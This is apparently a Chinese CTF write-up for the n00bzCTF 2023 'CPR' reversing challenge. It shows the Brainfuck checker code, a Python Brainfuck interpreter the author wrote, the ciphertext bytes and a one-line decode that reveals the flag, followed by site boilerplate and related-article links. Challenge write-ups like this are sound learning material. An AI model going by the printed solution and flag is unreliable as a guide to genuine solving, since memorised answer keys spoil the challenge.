-----------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------
-----[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------------------
-----------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------
-------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>++[-
->++]]>>>>>-[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------------------------
-[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------------------
------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------[[-]--+[-<+]-<[-]+>++[
-->++]]>>>>>---------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------
---[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------------------------------
--------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------[[-
]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>
>------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---
------------------------------------------------------------[[-]--+[-<+]-<[-]+>+
+[-->++]]>>>>>------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<
+]-<[-]+>++[-->++]]>>>>>--------------------------------------------------------
-------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------
------------------------------------------------------[[-]--+[-<+]-<[-]+>++[-->+
+]]>>>>>--------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<+]-<
[-]+>++[-->++]]>>>>>-------------------------------------[[-]--+[-<+]-<[-]+>++[-
->++]]>>>>>-------------------------------------------------------------------[[
-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------------------------------------
------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----
--------------------------------------------------------------[[-]--+[-<+]-<[-]+
>++[-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---[[-]--+[-<+
]-<[-]+>++[-->++]]>>>>>----------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-
-------------------------------------------------------------------[[-]--+[-<+]-
<[-]+>++[-->++]]>>>>>-----------------------------------------------------------
-----------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------------
-------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------
---------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------------------
-----------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------
-----------------[[-]--+[-<+]-<[-]+>++[-->++]]+[-<+]->+++[[-]>+++]+[-<+]-<[->[-]
<->++++++++++[>+++++++>+++++++++++>++++++++++>+++>+++++++++++>+++++++++++>++++++
+++++>+++++++++++>++++++++++++>++++>+++>+++++++++++>+++++++++++>+++++++++++>++++
+++++++>++++++++++>+++>++++++++++>++++++++++>+++++++++>++++++++++>++++>+++>+++++
++++++>+++++++++++>++++++++++++>+++>+++++++++>++++++++++>+++++++++>++++++++++>++
+++++++++>++++>+++>+++++++>+++++++++++>+++>+++++++++++>+++++++++++>+++++++++++>+
+++++>+++>++++++++++>++++++++++>++++++++++>+++>+++++>+++++[-<+]->-]>++++++>+>+++
+++++>++>+++++>+>++++>++++>+>++++>++>+++++++++>++++>+>>+++>++>++>++++++++>++++++
+>+++>++++>++>++++++>++++>+>++>+++++++>+++>+++++++>+++++>>++++++>++>+++++++++>++
++>++>>+>++++++>+++>++>+++++>>+++++++>++>++++++++>++[-<+]>>[.[-]>]]>[[-]<->+++++
+++++[>+++++++>++++++++++>+++++++++>++++++++++>+++>+++>++++++++>+++++++++++>++++
+++++++>+++>++++++++++>+++++++++++>+++++++++++>+++>++++++++++>+++++++++++>++++[-
<+]->-]>++++++++>+++++>+++++++++>+>+++>++>+++++++++>+>+++++++>++>+++>+>++++++>++
>+++++>++++++>++++[-<+]>>[.[-]>]]

手工处理一下

>-
>>>>>,[----------[++++++++++>>>>>,>]<]  #每隔5个读入1字符,直到读入0结束
>---<+[-<+]-                            #指针移到开始
>>>>>[                                  #对每个输入处理
	<++++++++++++++++++++++++++++++++p
	[>>[-]+>[-]<<-<->[>-]>[-<<[-]>>>]<<<]p  #第字符-32
	>+++++++++++++++++++++++++++++++++++++++++++++++p  #+47
	>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++p #b1+94
	<[>->+<[>]>[<+>-]<<[<]>-]p
	>[-]p
	>[-<<+>>]p
	>>>]
p+[-<+]->>>>>-------------------------------  #密文核对 n->31 0->3f b->13 z->2b
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------------------------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------------------------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------------------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>--------------------------------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------

大概意思差不多明白了,前边输入后5字节一个字符放入数据区,然后加密,然后跟逐个减n,估计要求最后是0,那密文这块的减号个数就是密文

为这还写了个bf的解码器

from pwn import pause 

dat = open('chall.bf', encoding='utf-8').read()

def show(val,ptr):
    print('   '*ptr + ' v')
    print(' '.join([hex(i)[2:].rjust(2) for i in val]))
def bf(msg, inp):
    i_ptr = 0      #输入数据inp指针   
    l_stack = []   #循环栈    
    fp = 0         #代码文件指针  
    val = [0]*200  #数据区
    v_ptr = 0      #数据指针
    while fp<len(msg):
        #print(fp, "{"+msg[:fp]+"}")
        #show(val,v_ptr)
        if msg[fp] == '+':
            val[v_ptr] = (val[v_ptr]+1)%256
            fp+=1
        elif msg[fp] == '-':
            val[v_ptr] = (val[v_ptr]-1)%256
            fp+=1
        elif msg[fp] == '>':
            v_ptr +=1
            fp +=1
        elif msg[fp] == '<':
            v_ptr -=1
            fp +=1
        elif msg[fp] == '.':   #输出
            print('out:'+chr(val[v_ptr]))
            fp +=1
        elif msg[fp] == ',':   #输入
            val[v_ptr] = inp[i_ptr]
            i_ptr +=1
            fp +=1
        elif msg[fp] == '[':
            if val[v_ptr] != 0:
                l_stack.append(fp)
            else:
                cnt = 1 
                while True:
                    fp +=1
                    if msg[fp]=='[':
                        cnt+=1 
                    elif msg[fp] == ']':
                        cnt-=1 
                    else:
                        pass 
                    if cnt==0 and msg[fp]==']':
                        break
            fp +=1
        elif msg[fp] == ']':
            v = l_stack.pop()
            if val[v_ptr] != 0:
                fp = v
            else:
                fp +=1
        elif msg[fp] == 'p' or msg[fp] == 'P':
            show(val, v_ptr)
            fp +=1
            pause()
        elif msg[fp] == '#':  #跳过本行
            while msg[fp] != '\n':
                fp+=1 
            fp +=1 
        else:
            fp +=1 


bf(dat, b'n00bz{@@@@@@@@@@@@@@@@@@@@@@@@0}\x00')

最后也没得到结果,不过知道两个加密有关的数:47,94

回过头来看密文

[31,63, 63, 19, 43, 44, 10, 63, 38, 16, 69, 63, 83, 16, 64, 37, 16, 69, 63, 21, 67, 92, 30, 64, 70, 16, 64, 30, 16, 1, 35, 63, 6, 21, 16, 63, 23, 16, 42, 63, 6, 16, 93, 63, 8, 16, 37, 67, 90, 66, 16, 3, 22, 68, 70, 48, 48, 48, 46]

其实很简单,前边的工作都白作了。

一句话文章来源地址https://www.toymoban.com/news/detail-481683.html

>>> bytes([i+79 if i<48 else i-15 for i in b])
b'n00bz{Y0u_60D_1t_60d4Mm17_1m_Pr0Ud_0f_y0U_N0W_t4K3_Re57!!!}'

到了这里,关于[n00bzCTF 2023] CPR 最后还是差一个的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • python基于crypto实现加密与解密

    ps: 使用pip工具安装步骤: 1、直接安装pycryptodome模块即可 pip install pycryptodome 2、如果你已经通过pip install crypto命令安装了,那么需要做以下两步: (1)切换到python安装目录的liibsite-packages目录下,将crypto目录名称修改为Crypto,即将首字母小写改成大写。 (2)安装pycryptodom

    2024年02月06日
    浏览(47)
  • Hutool-crypto 加密、解密详解!

    在Java开发的过程中,很多场景下都需要加密解密。 比如对敏感数据的加密,对配置文件信息的加密,通信数据的加密等等。 今天介绍的是Hutool工具包中的加密模块 crypto。 加密分为三类: 对称加密(symmetric) 常用的有AES、DES 非对称加密(asymmetric) 常用的有RSA,DSA 摘要加

    2024年02月06日
    浏览(72)
  • Node.js的crypto模块 加密

    Node.js的crypto模块提供了许多加密和解密功能,包括对称加密、非对称加密、哈希函数等。在本篇文章中,我们将详细介绍Node.js的crypto模块的API、代码注释和举例。 对称加密 对称加密算法使用相同的密钥进行加密和解密,例如AES、DES、3DES等。Node.js的crypto模块提供了createCip

    2024年02月08日
    浏览(39)
  • Node.js crypto模块 加密算法

    微信小程序调用飞蛾热敏纸打印机,需要进行参数sig签名校验,使用的是sha1进行加密

    2024年02月11日
    浏览(38)
  • python使用Crypto库实现加密解密

    pycrypto,pycryptodome是crypto第三方库,pycrypto已经停止更新三年了,所以不建议安装这个库;pycryptodome是pycrypto的延伸版本,用法和pycrypto 是一模一样的;所以只需要安装pycryptodome就可以了 1:crypto的加密解密组件des.py 2:crypto组件使用

    2024年02月13日
    浏览(46)
  • cocosCreator 之 crypto-es数据加密

    版本: 3.8.0 语言: TypeScript 环境: Mac 项目开发中,针对于一些明文数据,比如本地存储和Http数据请求等,进行加密保护,是有必要的。 关于加密手段主要有: 对称加密 使用相同的密钥来加密和解密数据,常用的有 AES、DES、3DES 等 非对称加密 使用公钥加密,私钥解密,常

    2024年02月05日
    浏览(41)
  • 前端使用AES密码加密、解密,使用详细(crypto加密解密,前后端分离,AES加密解密)

    1、 首先安装 crypto-js插件,安装命令如下:    -S等同于--save,保存在package.json文件中,是在dependencies 下, --save安装包信息将加入到dependencies(生产环境)中,生产阶段的依赖,也就是项目运行时的依赖,就是程序上线后仍然需要依赖; -D等同于--save-dev,也保存在package.j

    2024年02月11日
    浏览(61)
  • 微信小程序使用crypto.js加密解密

    crypto.js是用来进行AES加密的 注意AES在使用时有7个配置项,前后端加解密记着统一参数,测试时注意配置项的选择是否一致。 AES加密测试工具 文件存放路径: cryptoPro.js代码:

    2024年02月11日
    浏览(61)
  • Go语言中的加密艺术:深入解析crypto/subtle库

    在当今快速发展的互联网时代,数据安全成为了软件开发中的重中之重。对于使用 Go 语言的开发者来说,标准库中的 crypto/subtle 包提供了一系列重要的安全功能,尤其是在处理加密和安全相关的任务时。本文将深入探讨 crypto/subtle 库,详细介绍其主要函数的用途、工作原理及

    2024年02月19日
    浏览(48)
  • Java:Hutool工具箱之Hutool-crypto加密解密

    文档 https://hutool.cn/docs/#/crypto/概述 重点单词: 摘自文档 依赖 以MD5 为例 以AES 加密为例 这里有个问题,如果秘钥长度不够16位,会报错 长度只能是16位,24位,32位 参考 https://toscode.gitee.com/dromara/hutool/issues/I4O1EB 以RSA为例

    2024年02月16日
    浏览(78)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包